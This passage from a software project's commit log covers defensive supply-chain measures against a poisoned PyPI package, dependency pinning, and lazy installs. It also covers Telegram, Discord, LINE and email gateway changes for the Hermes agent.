unauthorized/invalid-token), and base-adapter text fallback.
Out of scope: bot-to-bot, guest mode, checklists, poll media, live
photos. Closes#24191.
* feat(security): supply-chain advisory checker + lazy-install framework + tiered install fallback
Three coordinated mitigations for the Mini Shai-Hulud worm hitting
mistralai 2.4.6 on PyPI (2026-05-12) and for the next single-package
compromise that follows.
# What this PR makes true
1. Users with the poisoned mistralai 2.4.6 in their venv get a loud
detection banner with copy-pasteable remediation steps the moment
they run hermes (and on every gateway startup).
2. One quarantined / yanked PyPI package can no longer silently demote
a fresh install to 'core only' — the installer keeps every other
extra and tells the user which tier landed.
3. Future opt-in backends (Mistral, ElevenLabs, Honcho, etc.) can
lazy-install on first use under a strict allowlist, instead of
eagerly pulling everything at install time.
# Detection: hermes_cli/security_advisories.py
- ADVISORIES catalog (one entry currently: shai-hulud-2026-05 for
mistralai==2.4.6). Adding the next one is a single dataclass.
- detect_compromised() uses importlib.metadata.version() — no pip
dependency, works in uv venvs that lack pip.
- Banner cache (~/.hermes/cache/advisory_banner_seen) rate-limits
the startup banner to once per 24h per advisory.
- Acks persisted to security.acked_advisories in config.yaml; never
re-banner after ack.
- Wired into:
* hermes doctor — runs first, prints full remediation block
* hermes doctor --ack <id> — dismisses an advisory
* cli.py interactive run() and single-query branches — short
stderr banner pointing at hermes doctor
* gateway/run.py startup — operator-visible warning in gateway.log
# Lazy-install framework: tools/lazy_deps.py
- LAZY_DEPS allowlist maps namespaced feature keys (tts.elevenlabs,
memory.honcho, provider.bedrock, etc.) to pip specs.
- ensure(feature) installs missing deps in the active venv via the
uv → pip → ensurepip ladder (matches tools_config._pip_install).
- Strict spec safety regex rejects URLs, file paths, shell metas,
pip flag injection, control chars — only PyPI-by-name accepted.
- Gated on security.allow_lazy_installs (default true) plus the
HERMES_DISABLE_LAZY_INSTALLS env var for restricted/audited envs.
- Migrated three backends as proof of pattern:
* tools/tts_tool.py — _import_elevenlabs() calls ensure first
* plugins/memory/honcho/client.py — get_honcho_client lazy-installs
* tts.mistral / stt.mistral entries pre-registered for when PyPI
restores mistralai
# Installer fallback tiers
scripts/install.sh, scripts/install.ps1, setup-hermes.sh:
- Centralised _BROKEN_EXTRAS list (currently: mistral). Edit one
array when a transitive breaks; users keep every other extra.
- New 'all minus known-broken' tier between [all] and the existing
PyPI-only-extras tier. Only kicks in when [all] fails resolve.
- All three tiers explicit: every fallback announces which tier
landed and prints a re-run hint when not on Tier 1.
- install.ps1 and install.sh both regenerate their tier specs from
the same _BROKEN_EXTRAS array so updates stay in sync.
Side effect: install.ps1 Tier 2 spec previously hardcoded 'mistral'
in its extra list — bug fixed by the refactor (mistral is filtered
out).
# Config
hermes_cli/config.py — DEFAULT_CONFIG.security gains:
- acked_advisories: [] (advisory IDs the user has dismissed)
- allow_lazy_installs: True (security gate for ensure())
No config version bump needed — both keys nest under existing
security: block, and load_config's deep-merge picks up DEFAULT_CONFIG
defaults for users with older configs.
# Tests
tests/hermes_cli/test_security_advisories.py — 23 tests covering:
- detect_compromised matches/non-matches, wildcard frozenset
- ack persistence, idempotence, blank rejection, config-failure path
- banner cache rate limiting + 24h re-banner + ack-stops-banner
- short_banner_lines / full_remediation_text / render_doctor_section /
gateway_log_message
- shipped catalog well-formedness invariant
tests/tools/test_lazy_deps.py — 40 tests covering:
- spec safety: 11 safe parametrized + 18 unsafe parametrized
- allowlist: unknown-feature rejection, namespace.name shape,
every shipped spec passes the safety regex
- security gating: config flag, env var, default, fail-open
- ensure() happy/sad paths: already-satisfied, install success,
pip stderr surfaced on failure, install-succeeds-but-still-missing
- is_available, feature_install_command
Combined: 63 new tests, all passing under scripts/run_tests.sh.
# Validation
- scripts/run_tests.sh tests/hermes_cli/test_security_advisories.py

* build(deps): pin every direct dep to ==X.Y.Z (no ranges)
Companion to the supply-chain advisory work: replace every >=/</~= range
in pyproject.toml's [project.dependencies] and [project.optional-dependencies]
with an exact ==X.Y.Z pin sourced from uv.lock.
Why: ranges allow PyPI to ship a fresh version of any direct dep at any
time without a code review on our side. With ranges, the malicious
mistralai 2.4.6 release would have been pulled by every fresh
'pip install -e .[all]' for the hours between upload and PyPI's
quarantine — exactly the install window we got hit on. Exact pins close
that window: the only way a new package version reaches a user is via
an intentional update on our end.
What the user-facing change is: nothing, behavior-wise. Every package
resolves to the same version it was already resolving to via uv.lock —
the pins just remove the resolver's freedom to pick a different one.
Cost: any user installing Hermes alongside another package that requires
a newer pin gets a resolver conflict. Acceptable for our isolated-venv
install path; documented in the new comment block.
Build-system requires line (setuptools>=61.0) is intentionally left
as a range — pinning the build backend would block fresh pip from
bootstrapping the build on architectures where that exact wheel isn't
available.
mistral extra (mistralai==2.3.0) is pinned but stays out of [all]
(per PR #24205). 'uv lock' regeneration will fail until PyPI restores
mistralai; lockfile regeneration is gated behind that, NOT on every PR.
LAZY_DEPS in tools/lazy_deps.py also moved to exact pins so the lazy-
install pathway can never resolve a different version than the one
declared in pyproject.toml.
Validation:
- Cross-checked all 77 pinned direct deps in pyproject.toml against
uv.lock — every pin matches the resolved version exactly.
- Cross-checked all LAZY_DEPS specs against uv.lock — same.
- 'uv pip install -e .[all] --dry-run' resolves 205 packages cleanly.
- tests/tools/test_lazy_deps.py + tests/hermes_cli/test_security_advisories.py
→ 63/63 passing (every shipped spec passes the safety regex).
- Doctor + TTS + transcription targeted suite → 146/146 passing.
* build(deps): hash-verify transitives via uv.lock; remove unresolvable [mistral] extra
You asked: 'what about the dependencies the dependencies rely on?' —
correctly noting that exact-pinning direct deps in pyproject.toml does
NOT cover the transitive graph. `pip install` and `uv pip install` both
re-resolve transitives fresh from PyPI at install time, so a compromised
transitive (e.g. `httpcore` if it got worm-poisoned tomorrow) would
still hit our users even with every direct dep exact-pinned.
# What this commit fixes
1. **Both real installer scripts now prefer `uv sync --locked` as Tier 0.**
uv.lock records SHA256 hashes for every transitive — a compromised
package with a different hash gets REJECTED. Falls through to the
existing `uv pip install` cascade if the lockfile is missing or
stale, with a loud warning that the fallback path does NOT
hash-verify transitives. Previously only `setup-hermes.sh` (the dev
path) used the lockfile; `scripts/install.sh` and `scripts/install.ps1`
(the paths fresh users actually run) skipped it.
2. **Removed the `[mistral]` extra entirely.** The `mistralai` PyPI
project is fully quarantined right now — every version returns 404,
so any pin we wrote was unresolvable, which broke `uv lock --check`
in CI. Restoration is documented in pyproject.toml as a 5-step
checklist (verify, re-add extra, re-enable in 4 modules, regenerate
lock, optionally re-add to [all]).
3. **Regenerated uv.lock.** 262 packages, mistralai/eval-type-backport/
jsonpath-python pruned. `uv lock --check` now passes.
# Defense-in-depth view
| Layer | Where | Protects against |
|----------------------------|-------------------|-------------------------------------------|
| Exact pins in pyproject | direct deps | new mistralai 2.4.6-style direct compromise |
| uv.lock + `--locked` install | transitive graph | transitive worm injection |
| Tier-0 hash-verified path | install.sh / .ps1 | actually USE the lockfile in fresh installs |
| `uv lock --check` CI gate | every PR | drift between pyproject and lockfile |
| `hermes_cli/security_advisories.py` | runtime | cleanup for users who already got hit |
The exact pinning + hash verification together close the supply-chain
gap. Without the lockfile path, exact pins alone are theater.
# Validation
- `uv lock --check` → passes (262 packages resolved, no drift).
- `bash -n` on install.sh + setup-hermes.sh → OK.
- 209/209 tests passing across new + adjacent test files
(test_lazy_deps.py, test_security_advisories.py, test_doctor.py,
test_tts_mistral.py, test_transcription_tools.py).
- TOML parse OK.
* chore: remove community announcement drafts (PR body covers it)
* build(deps): lazy-install every opt-in backend (anthropic, search, terminal, platforms, dashboard)
Extends the lazy-install framework to cover everything that's not used by
every hermes session. Base install drops from ~60 packages to 45.
Moved out of core dependencies = []:
- anthropic (only when provider=anthropic native, not via aggregators)
- exa-py, firecrawl-py, parallel-web (search backends; only when picked)
- fal-client (image gen; only when picked)
- edge-tts (default TTS but still optional)
New extras in pyproject.toml: [anthropic] [exa] [firecrawl] [parallel-web]
[fal] [edge-tts]. All added to [all].
New LAZY_DEPS entries: provider.anthropic, search.{exa,firecrawl,parallel},
tts.edge, image.fal, memory.hindsight, platform.{telegram,discord,matrix},
terminal.{modal,daytona,vercel}, tool.dashboard.
Each import site now calls ensure() before importing the SDK. Where the
module had a top-level try/except (telegram, discord, fastapi), the
graceful-fallback pattern was extended to lazy-install on first
check_*_requirements() call and re-bind module globals.
Updated test_windows_native_support.py tzdata check from snapshot
(>=2023.3 literal) to invariant (any version + win32 marker).
Validation:
- Base install: 45 packages (was ~60); 6 newly-extracted packages absent
- uv lock --check: passes (262 packages, no drift)
- 209/209 lazy_deps + advisory + doctor + tts/transcription tests passing
- py_compile clean on all 12 modified modules
Replace with for all literal-tuple
membership tests. Set lookup is O(1) vs O(n) for tuple — consistent
micro-optimization across the codebase.
608 instances fixed via `ruff --fix --unsafe-fixes`, 0 remaining.
133 files, +626/-626 (net zero).
When the Discord typing API call fails (rate limit, network error, 403),
_typing_loop returns early but the stale task remains in _typing_tasks.
Subsequent send_typing calls see the stale entry and skip, leaving no
typing indicator for the rest of the agent invocation.
Add finally block to _typing_loop to always remove the task from
_typing_tasks on exit, whether from cancellation, error, or normal
completion. This allows send_typing to create a fresh task.
3 new tests in test_discord_send.py:
- Task removed after API error
- Typing restartable after failure
- stop_typing cleans up

Tuning summary
==============
Text-batch ingress (gateway/platforms/telegram.py):
- HERMES_TELEGRAM_TEXT_BATCH_DELAY_SECONDS default 0.6 -> 0.3
- HERMES_TELEGRAM_TEXT_BATCH_SPLIT_DELAY_SECONDS default 2.0 -> 1.0
- Adaptive fast-path tiers in _flush_text_batch:
total <= 320 cp -> min(cap, 0.18)
total <= 1024 cp -> min(cap, 0.24)
else -> cap
A single short reply now reaches the agent in ~180ms instead of
600ms. Tier constants compose with the configured cap via min()
so an operator who tightens HERMES_TELEGRAM_TEXT_BATCH_DELAY_SECONDS
below 0.18 still wins on every tier.
- _env_float_clamped helper replaces bare float(os.getenv()).
Rejects NaN / Inf, applies optional min/max bounds. Used for
text-batch + media-batch knobs. Prevents asyncio.sleep(NaN)
crashes when an operator typos an env var.
Stream cadence (gateway/config.py + stream_consumer.py):
- StreamingConfig.edit_interval default 1.0s -> 0.8s
- StreamingConfig.buffer_threshold default 40 -> 24 chars
- DEFAULT_STREAMING_EDIT_INTERVAL / BUFFER_THRESHOLD / CURSOR are now
a single source of truth. StreamConsumerConfig imports them
instead of duplicating the literals; the prior dual-source drift
is fixed.
Tool progress (gateway/display_config.py):
- Telegram default tool_progress 'all' -> 'new'. Inside
Telegram's ~1 edit/s flood envelope the 'all' default would
accumulate edit pressure on busy chats; 'new' shows only the
leading bubble per tool batch and feels less spammy.
- Slack tier_low override (tool_progress='off') is preserved.
Composition with native draft streaming (#23512)
================================================
The mid-stream cadence (edit_interval, buffer_threshold) gates BOTH
the draft path (send_draft) and the edit path (edit_message), so the
tighter cadence helps native draft as much as edit-based. The
text-batch fast-path applies before the consumer starts, so it speeds
up the first-token latency on every transport. No conflict.
Stale-base avoidance
====================
Re-authored from scratch rather than cherry-picked. Dropped from the
original branch:
- Unrelated d2f043f9c 'fix(anthropic): preserve third-party thinking
continuity' commit
- boot_md.py builtin gateway hook (unrelated)
- Reverted Slack tool_progress='off' (#14663) restoration
- Reverted Platform plugin discovery, MSGRAPH_WEBHOOK, YUANBAO
members deletion
- 2300+ lines of run.py base-skew noise
Tests
=====
New tests/gateway/test_telegram_text_batch_perf.py:
- 7 tests for _env_float_clamped (NaN, Inf, garbage, bounds).
- 4 tests for the adaptive-tier composition rules.
Updated tests/gateway/test_display_config.py:
- test_platform_default_when_no_user_config: 'all' -> 'new' for
Telegram, with comment.
- test_high_tier_platforms: split into Telegram-overrides-to-new
and Discord-stays-all assertions.
Closes#10388.

When edit_message_text exceeded Telegram's 4096 UTF-16 codepoint limit,
the adapter caught the BadRequest, best-effort truncated the content
with '…', and returned SendResult(success=True). The stream consumer
believed the full edit was delivered and never recovered, silently
dropping everything past the truncation boundary on long replies.
Returning failure isn't safe either — the consumer's existing fallback
path can race against the next streaming tick, producing duplicate
sends or gaps. Instead, the adapter now SPLITS the oversized payload
across the existing message + new continuation messages, so the user
always gets the full reply in correct order.
How it works:
1. Pre-flight: if utf16_len(content) already exceeds MAX_MESSAGE_LENGTH,
call the new _edit_overflow_split helper directly — saves a doomed
round-trip + a Telegram error.
2. Reactive: if Telegram still returns 'message_too_long' after the
pre-flight (e.g. parse_mode formatting inflated the payload past
the limit via MarkdownV2 escapes), the same helper handles it.
3. _edit_overflow_split:
- Splits via truncate_message(len_fn=utf16_len) — same chunking the
non-streaming send() path uses; chunks get '(1/N)' suffixes.
- Edits the original message_id with chunk 1 (with parse_mode +
plain-fallback when finalize=True, mirroring the main edit path).
- Sends each remaining chunk via self._bot.send_message threaded as
a reply to the previous chunk so the user sees them as a
contiguous block. MarkdownV2-with-plain-fallback per chunk on
finalize.
- Returns SendResult(success=True, message_id=<last_chunk_id>,
continuation_message_ids=(<chunk2_id>, <chunk3_id>, ...)) so the
stream consumer can keep editing the most recent visible message
and the gateway has full visibility into every message id.
SendResult contract extension:
Added optional continuation_message_ids: tuple = () field. When
empty (the common case), behavior is unchanged. When populated, the
caller knows the adapter delivered across multiple platform messages.
Stream consumer integration:
GatewayStreamConsumer._send_or_edit advances _message_id to the
last-continuation id when it sees continuation_message_ids on a
successful edit result, resets _last_sent_text (the new visible
message holds only the final chunk's text), and fires
on_new_message so tool-progress bubbles linearize below the new
continuation rather than the original. Mirrors the openclaw #32535
inter-tool-leak guard.
Composes with what just landed:
- PR #23455 (UTF-16 length-aware splitting in stream consumer)
prevents most overflows upstream by measuring text in UTF-16
codeunits before deciding to split. This PR is the safety net at
the adapter boundary.
- PR #23512 (native draft streaming, default for DM Telegram) routes
DM streaming through send_draft, which has its own contract
unaffected by this change. So this fix narrows in scope to the
edit-based path: groups, supergroups, forum topics, every
non-Telegram platform, and the per-response fallback after a
draft failure.
Salvage notes:
- Cherry-picked from PR #19537 by @kjames2001. Original PR returned
failure on overflow; this evolves to split-and-deliver so users
never lose content and the consumer state stays consistent.
- Dropped an unrelated model-picker hunk (line 2114-2117) that
silently killed the 'X more available — type /model <name>
directly' hint by hardcoding total=len(models). Not in scope.
- Restored the timeout-aware retryable=not is_timeout signal in
send()'s fallthrough catch block.
Closes#19537.
Adds Telegram's native streaming-draft API as a streaming transport so DM
replies render with smooth animated previews as tokens arrive, dropping
the per-edit jitter of the legacy editMessageText polling path.
Adapter contract (gateway/platforms/base.py):
- supports_draft_streaming(chat_type, metadata) -> bool. Default False.
Telegram returns True only for DMs and only when the bound python-
telegram-bot version exposes Bot.send_message_draft (PTB 22.6+).
- send_draft(chat_id, draft_id, content, metadata) -> SendResult.
Default raises NotImplementedError. Telegram delegates to PTB's
send_message_draft. Drafts have no message_id (Bot API contract);
SendResult.message_id is None on success.
Telegram adapter (gateway/platforms/telegram.py):
- supports_draft_streaming gates on chat_type='dm' AND PTB capability.
- send_draft trims to MAX_MESSAGE_LENGTH using utf16_len, threads
message_thread_id through metadata, and routes failures back as
SendResult(success=False, error=...) so the consumer can fall back.
Stream consumer (gateway/stream_consumer.py):
- StreamConsumerConfig gains transport ('auto'|'draft'|'edit'|'off')
and chat_type fields.
- run() resolves _use_draft_streaming once via a probe at the top of
the run, allocating a fresh class-wide draft_id_counter so each
response animates as its own preview (no animation collision across
consecutive responses to the same chat).
- _send_or_edit gains a pre-edit branch: when drafts are active AND
not finalizing AND no edit-path message_id is established, the
frame routes through _send_draft_frame instead of edit_message.
Drafts intentionally do NOT set _already_sent so the gateway's
final sendMessage path still fires — drafts have no message_id and
the user needs a real message in their chat history.
- _reset_segment_state bumps the draft_id when the consumer is in
draft mode so each text block after a tool boundary animates as a
fresh preview below the tool-progress bubble (avoids the inter-
tool-call leak openclaw documented in their #32535).
- Per-response fallback: any send_draft failure (transient network,
server reject, capability gap) flips _use_draft_streaming to False
for the rest of the run, gracefully returning to the edit path.
Gateway config (gateway/config.py):
- StreamingConfig.transport default flips edit -> auto. The auto path
is identical to edit on every chat type that doesn't currently
support drafts (groups, supergroups, forum topics, every non-
Telegram platform), so the default is backwards-compatible for
non-DM users.
Lifecycle model (Telegram Bot API 9.5):
1. sendMessageDraft(chat_id, draft_id, text='') opens the bubble.
2. Repeated sendMessageDraft calls with the SAME draft_id animate
the preview as text grows.
3. Drafts have no message_id and cannot be edited or deleted.
4. When the response finishes the gateway's normal sendMessage path
delivers the final answer; the draft preview clears naturally on
the client and the user sees a real message in their history.
Inspired by PR #3412 by @NivOO5. Re-authored against current main
(stream_consumer.py is now ~4x larger than at #3412's branch base, with
new _NEW_SEGMENT/_COMMENTARY/finalize/_on_new_message machinery the
original PR didn't account for) but the design call (DM-only, edit-
fallback, transport=auto|draft|edit|off) is faithful to the original
proposal, with two improvements baked in:
1. Per-response draft_id (monotonic counter, not a time hash) — no
collision risk across consecutive responses on the same chat.
2. Tool-boundary draft_id bump — prevents the inter-tool-call leak
openclaw hit during their rollout (their #32535).
Closes#21439 (duplicate feature request).
Cherry-picked from PR #10371. Two-layer defense for the spurious-thread_id
issue (#3206):
1. _build_message_event filters DM thread_ids: only preserve thread_id
for real topic messages (is_topic_message=True). Telegram puts
message_thread_id on every DM that is a reply, but reply-chain ids
route to nonexistent threads on send.
2. _send_message_with_thread_fallback helper: control sends
(send_update_prompt, send_exec_approval / send_slash_confirm,
send_model_picker) retry once without message_thread_id when
Telegram returns BadRequest 'Message thread not found'. Mirrors
the pattern PR #3390 added for the streaming send path.
Salvage notes:
- Conflict 1 (line ~4099): merged the contributor's DM is_topic_message
filter with the existing forum General-topic default from #22423,
preserving both behaviors.
- Conflict 2 (line ~1664 / 1690): kept main's delete_message (PR #23416)
alongside the new helper. Tightened the helper's exception catch
from bare 'Exception' to use the existing _is_bad_request_error +
_is_thread_not_found_error helpers (line 484-496) for consistency
with the streaming send path.
- Widened the fix to send_update_prompt (was bare self._bot.send_message,
same bug class).

The stream consumer measured message length using Python's len() (Unicode
code points), but Telegram's actual limit is in UTF-16 code units. This
caused messages with supplementary characters (emoji, CJK, etc.) to exceed
Telegram's 4096-character limit, resulting in truncated messages with
formatting artifacts.
Changes:
- Add message_len_fn property to BasePlatformAdapter (defaults to len)
- Override in TelegramAdapter to return utf16_len
- Stream consumer uses adapter.message_len_fn for:
- safe_limit calculation
- overflow detection
- truncate_message calls
- split point calculation (via _custom_unit_to_cp)
- fallback final send chunking
Fixes truncated messages with black square artifacts on Telegram when
the model generates responses containing multi-byte Unicode characters.
Cherry-picked from PR #13077 commits:
- 5500c7d8 fix(gateway): stream consumer first message drops thread context
- e84403b9 test(gateway): add regression tests for stream consumer thread routing
Fixes: Streaming first message drops thread/topic context in Feishu group
topics, Slack threads, Telegram forum topics. Adds initial_reply_to_id
ctor arg to GatewayStreamConsumer, threaded through _send_or_edit and
_send_new_chunk. Also fixes Feishu _send_raw_message fallback path
(reply -> create) to use receive_id_type='thread_id' so the new message
lands in the correct topic instead of the main channel.
Authored by hrygo via PR #13077 (re-attributed from the bot-authored
salvage commit on the original branch).
Builds on @kshitijk4poor's CLI handoff stub. The original PR's flow
deferred everything to whenever a real user happened to message the
target platform; this rewrites it so the gateway picks up handoffs
immediately and the destination chat just starts working.
State machine on sessions table replaces the boolean flag:
None -> 'pending' -> 'running' -> ('completed' | 'failed')
plus handoff_error for failure reasons. CLI request_handoff /
get_handoff_state / list_pending_handoffs / claim_handoff /
complete_handoff / fail_handoff helpers wrap the transitions.
CLI side (cli.py): /handoff <platform> validates the platform's home
channel via load_gateway_config, refuses if the agent is mid-turn,
flips the row to 'pending', and poll-blocks (60s) on terminal state.
On 'completed' it prints the /resume hint and exits the CLI like
/quit. On 'failed' or timeout it surfaces the reason and the CLI
session stays intact.
Gateway side (gateway/run.py): new _handoff_watcher background task
scans state.db every 2s, atomically claims pending rows, and runs
_process_handoff for each. _process_handoff:
1. Resolves the platform's home channel.
2. Asks the adapter for a fresh thread via the new
create_handoff_thread(parent_chat_id, name) capability so the
handed-off conversation gets its own scrollback. Adapters that
don't support threads (or fail) return None and the watcher
falls back to the home channel directly.
3. Constructs a SessionSource keyed as 'thread' when a thread was
created, 'dm' otherwise, then session_store.switch_session
re-binds the destination key to the CLI session_id. The full
role-aware transcript replays via load_transcript on the next
turn (no flat-text injection into context_prompt).
4. Forges a synthetic MessageEvent(internal=True) with the handoff
notice and dispatches through _handle_message; the agent runs
against the loaded transcript and adapter.send delivers the
reply.
5. Marks the row 'completed' on success, 'failed' (+error) on any
exception.
Adapter capability (gateway/platforms/base.py): create_handoff_thread
default returns None. Three overrides:
- Telegram (gateway/platforms/telegram.py): wraps _create_dm_topic
so DM topics (Bot API 9.4+) and forum supergroups both work.
- Discord (gateway/platforms/discord.py): parent.create_thread on
text channels with a seed-message + message.create_thread
fallback for permission edge cases. Skips DMs and other
non-thread-capable parents.
- Slack (gateway/platforms/slack.py): posts a seed message and
returns its ts as the thread anchor — Slack threads are
message-anchored.
In thread mode, build_session_key keys the destination without
user_id (thread_sessions_per_user defaults to False) so the synthetic
turn and any later real-user message in the thread share the same
session_key — seamless takeover without race.
CommandDef stays cli_only=True (handoff is initiated from the CLI;
gateway exposes /resume for the reverse direction).
Removed the original PR's _handle_message_with_agent handoff hook
(transcript-as-text injection into context_prompt) and the
send_message_tool notification — both replaced by the watcher path.
Tests rewritten around the new state machine: 13/13 pass.
E2E-validated thread + no-thread paths and the failure path against
real worktree imports with mocked adapters.
* feat(gateway): add LINE Messaging API platform plugin
Adds LINE as a bundled platform plugin under `plugins/platforms/line/`,
synthesized from the strongest pieces of seven open community PRs. The
adapter requires zero core edits — `Platform("line")` is auto-discovered
via the bundled-plugin scan in `gateway/config.py`, and all hooks
(setup, env-enablement, cron delivery, standalone send) are wired
through `register_platform()` kwargs the way IRC and Teams do it.
Highlights merged into one plugin:
- **Reply token preferred, Push fallback.** Try the free reply token
first (single-use, ~60s TTL); fall back to metered Push when the
token is absent, expired, or rejected. (PR #21023)
- **Slow-LLM Template Buttons postback.** When the LLM is still running
past `LINE_SLOW_RESPONSE_THRESHOLD` (default 45s), the adapter burns
the original reply token to send a "Get answer" button bubble. The
user taps it to fetch the cached answer via a fresh reply token —
also free. State machine: PENDING → READY → DELIVERED, ERROR for
cancelled runs (orphan resolves to `LINE_INTERRUPTED_TEXT` after
/stop). Set threshold to 0 to disable. (PR #18153)
- **Three-allowlist gating** — separate user / group / room allowlists
with `LINE_ALLOW_ALL_USERS=true` dev-only escape hatch. (PR #18153)
- **Markdown URL preservation.** Strip bold/italic/code-fence/heading
markers (LINE renders them literally) but keep `[label](url)` →
`label (url)` so URLs stay tappable. (PR #18153)
- **System-message bypass** for `⚡ Interrupting`, `⏳ Queued`, etc. —
busy-acks reach the user as visible bubbles instead of being
swallowed into the postback cache. (PR #18153)
- **Media via public HTTPS URLs.** LINE doesn't accept binary uploads;
images/audio/video must be HTTPS-reachable. The adapter serves
registered tempfiles under `/line/media/<token>/<filename>` from the
same aiohttp app. Allowed-roots traversal guard covers
`tempfile.gettempdir()`, `/tmp` (→ `/private/tmp` on macOS), and
`HERMES_HOME`. `LINE_PUBLIC_URL` overrides URL construction for
setups behind tunnels/proxies. (PR #8398)
- **5-message-per-call batching.** LINE rejects >5 messages per
Reply/Push; smart-chunker caps text at 4500 chars per bubble.
- **Inbound dedup** via `webhookEventId` LRU. (PR #21023)
- **Self-message filter** via `/v2/bot/info` userId lookup. (PR #21023)
- **Loading-animation indicator** wired to LINE's `chat/loading/start`
endpoint, DM-only (LINE rejects it for groups/rooms). (PR #21023)
- **Out-of-process cron delivery** via `_standalone_send`, so
`deliver: line` cron jobs work even when cron runs detached from
the gateway.
- **Webhook hardening** — 1 MiB body cap, constant-time HMAC-SHA256
signature verification, dedup, scoped lock so two profiles can't
bind the same channel.

* docs(platforms): document platform-specific slow-LLM UX pattern
Add a 'Platform-Specific Slow-LLM UX' section to the platform-adapter
developer guide covering the _keep_typing override pattern that LINE
uses for its Template Buttons postback flow.
Three subsections:
- Pattern: subclass _keep_typing to layer mid-flight UX (with code)
- Pattern: subclass send to route through a cache instead of sending
- When this pattern is appropriate (vs. always-Push fallback)
Plus a short pointer in gateway/platforms/ADDING_A_PLATFORM.md so
tree-readers find the prose walkthrough on the docsite.
Filed because the LINE plugin (PR #23197) was the first bundled
adapter to need this pattern — every prior plugin (irc, teams,
google_chat) handles slow responses with the default typing-loop and
a regular send_text. Documenting now while the rationale is fresh.

Per-tool-call push notifications on Telegram are noisy enough that
'all' is the wrong default — long agent runs spam the user's notification
shade with status messages they didn't ask to be pinged about. Final
responses, approval prompts, and slash confirmations still notify;
intermediate progress, streaming, and tool-progress messages now
deliver silently via disable_notification.
Users who want the legacy behavior can opt back in with:
display:
platforms:
telegram:
notifications: all
or HERMES_TELEGRAM_NOTIFICATIONS=all.
Add a configurable notifications mode for the Telegram platform adapter
that controls which messages trigger push notifications.
- display.platforms.telegram.notifications: "all" (default) | "important"
- HERMES_TELEGRAM_NOTIFICATIONS env var override
- In "important" mode, all sends use disable_notification=True except:
- Approvals (send_exec_approval) and slash confirmations
- Final response messages (metadata["notify"]=True)
- Zero overhead in default "all" mode
- Zero impact on non-Telegram platforms
Closes#22771
163/NetEase IMAP servers reject every UID SEARCH/FETCH with `BYE Unsafe
Login` unless the client first identifies itself via the RFC 2971 ID
command after LOGIN. Without this, the email gateway logs in OK but
then fails on the very first poll and the connection is torn down.
Send the ID payload best-effort after both `imap.login()` sites
(`EmailAdapter.connect` and `_fetch_new_messages`). Failures are
swallowed at debug level so non-supporting IMAP servers (Gmail,
Outlook, Fastmail, Yahoo, etc.) keep working unchanged.
Closes#22271
`gateway/platforms/__init__.py` eagerly imported `QQAdapter` and
`YuanbaoAdapter` at package-init time, which transitively pulled in
qqbot's chunked-upload + keyboards + onboard machinery and yuanbao's
websocket stack. About 84 ms wall and 23 MB RSS on every fresh process
that touched anything under `gateway.platforms` — including `hermes
chat` (via run_agent → cli's plugin discovery transitive import).
Nothing in the codebase actually consumes these symbols from the
package root; every real call site uses the long-form path
(`from gateway.platforms.qqbot import QQAdapter`,
`from gateway.platforms.yuanbao import YuanbaoAdapter` in gateway/run.py).
The eager re-export was only there for convenience.
Replace with a PEP 562 module-level `__getattr__` that lazily imports
on first attribute access. Public API stays identical:
`from gateway.platforms import QQAdapter` keeps working but only
pays the import cost when the symbol is actually touched. `__dir__`
preserves help() / autocomplete behavior.
Measured impact (7-run medians, 9950X3D):
import gateway.platforms 127 → 43 ms (-66%)
50 → 27 MB (-46%)
import gateway.platforms.base 127 → 44 ms (-65%)
50 → 27 MB (-46%)
import cli (full chat path) 745 → 710 ms ( -5%)
96 → 90 MB ( -6%)
hermes chat -q (cold) -5 MB
The per-import win is biggest because qqbot/yuanbao deps don't overlap
with anything on the gateway-platforms path — full `import cli`
already loads aiohttp/websockets transitively from other places, so
the marginal CLI win is smaller than the isolated import benchmark.
The `gateway.platforms.base` win is what matters most for long-lived
gateway processes: every gateway boot saves 23 MB resident.
All 144 qqbot tests pass; broader gateway suite (5132 tests) passes
modulo 4 pre-existing flakes also failing on main without this change.
Non-streaming /v1/chat/completions wrapped any AIAgent result \u2014 including
partial/failed runs \u2014 as a successful 200 with finish_reason='stop' and
the internal failure string substituted into message.content. API
clients had no way to distinguish 'agent answered: X' from
'agent crashed and the X you see is its error message'.
After the fix:
- completed: True \u2192 200 finish_reason='stop' (unchanged)
- partial + truncated text \u2192 200 finish_reason='length' + hermes extras
- partial + no text / failed \u2192 502 OpenAI error envelope (SDKs raise)
- other failures \u2192 200 finish_reason='error' + hermes extras
Adds X-Hermes-Completed / X-Hermes-Partial / X-Hermes-Error headers
plus a 'hermes' extras object on partial responses for clients that
want the full picture.
Closes#22496.
- Restore allowed_chats gate before thread_id check so ignored_threads
applies universally (even to guest mentions).
- Compute _message_mentions_bot once in _should_process_message to
eliminate redundant second entity scan when guest_mode=true and the
message does not mention the bot.
- Remove redundant _is_group_chat from _is_guest_mention (caller already
verified the message is a group chat).
- Update _telegram_allowed_chats docstring to note guest_mode exception.
- Add test coverage: bot_command entity, text_mention entity,
caption_entities, and ignored_threads + guest_mode interaction.
- Add nik1t7n to AUTHOR_MAP.
When a Telegram user replies using the native quote feature to select
only part of a prior message, _build_message_event was injecting the
ENTIRE replied-to message into reply_to_text via
message.reply_to_message.text/caption. python-telegram-bot exposes
the user-selected substring as message.quote (TextQuote.text); we now
prefer that and fall back to the full replied-to text only when no
native quote is present.
The agent-visible "[Replying to: \"...\"]" prefix can otherwise expand
the user's narrow quote into the full prior message, causing the agent
to act on unrelated actionable-looking text the user did not select
(e.g. multi-item briefings where the user quotes one bullet but the
prefix injects every bullet). Falls back cleanly when message.quote
is absent (PTB <21 or replies that don't quote a substring).
Fixes#22619
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
When a GFM table has a row-label column (first column with no header),
_render_table_block_for_telegram incorrectly included the row-label cell
in the bullet zip alongside the data cells, producing a spurious bullet
like '• 維度: 核心賣點' before the real data rows.
Detect the row-label column by comparing the first data row cell count
against the header count (has_row_label_col = len(first_data_row) ==
len(headers) + 1). When present, use cells[0] as the heading and
zip headers against cells[1:] only, correctly excluding the row-label
from the bullet list.
Fixes#22604
Plugin platforms (IRC, Teams, Google Chat) currently fail with
`No live adapter for platform '<name>'` when a `deliver=<plugin>` cron
job runs in a separate process from the gateway, even though the
platforms are eligible cron targets via `cron_deliver_env_var` (added
in #21306). Built-in platforms (Telegram, Discord, Slack, etc.) use
direct REST helpers in `tools/send_message_tool.py` so cron can deliver
without holding the gateway in the same process; plugin platforms
historically depended on `_gateway_runner_ref()` which returns `None`
out of process.
This change adds an optional `standalone_sender_fn` field to
`PlatformEntry` so plugins can register an ephemeral send path that
opens its own connection, sends, and closes without needing the live
